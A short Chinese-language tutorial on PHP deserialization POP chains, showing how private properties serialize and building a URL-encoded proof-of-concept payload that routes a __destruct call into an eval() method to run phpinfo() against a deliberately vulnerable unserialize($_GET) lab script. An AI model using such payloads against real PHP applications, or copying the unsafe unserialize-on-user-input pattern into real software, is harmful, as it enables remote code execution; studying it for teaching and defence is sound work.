前言

反序列化可以控制类属性,无论是private还是public。

  1. <?php class A { private $a = "a"; public $b = "b"; static $c = "c"; } $test = new A(); echo urlencode(serialize($test)); ?>

O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22%00A%00a%22%3Bs%3A1%3A%22a%22%3Bs%3A1%3A%22b%22%3Bs%3A1%3A%22b%22%3B%7D
php反序列化之pop链 - 图1
其中有个%00存在是因为private属性。


pop链的利用

以前理解的序列化攻击更多的是在魔术方法中出现一些利用的漏洞,因为自动调用从而触发漏洞。
但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

  1. <?php
  2. class lemon {
  3. protected $ClassObj;
  4. function __construct() {
  5. $this->ClassObj = new normal();
  6. }
  7. function __destruct() {
  8. $this->ClassObj->action();
  9. }
  10. }
  11. class normal {
  12. function action() {
  13. echo "hello";
  14. }
  15. }
  16. class evil {
  17. private $data;
  18. function action() {
  19. eval($this->data);
  20. }
  21. }
  22. unserialize($_GET['d']);

lemon这个类本来是调用,normal类的,但是现在action方法在evil类里面也有,所以可以构造pop链,调用evil类中的action方法。

  1. <?php
  2. class lemon {
  3. protected $ClassObj;
  4. function __construct() {
  5. $this->ClassObj = new evil();
  6. }
  7. }
  8. class evil {
  9. private $data = "phpinfo();";
  10. }
  11. echo urlencode(serialize(new lemon()));
  12. echo "\n\r";

注意的是,protected $ClassObj = new evil();是不行的,还是通过__construct来实例化。
生成poc:

O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

php反序列化之pop链 - 图2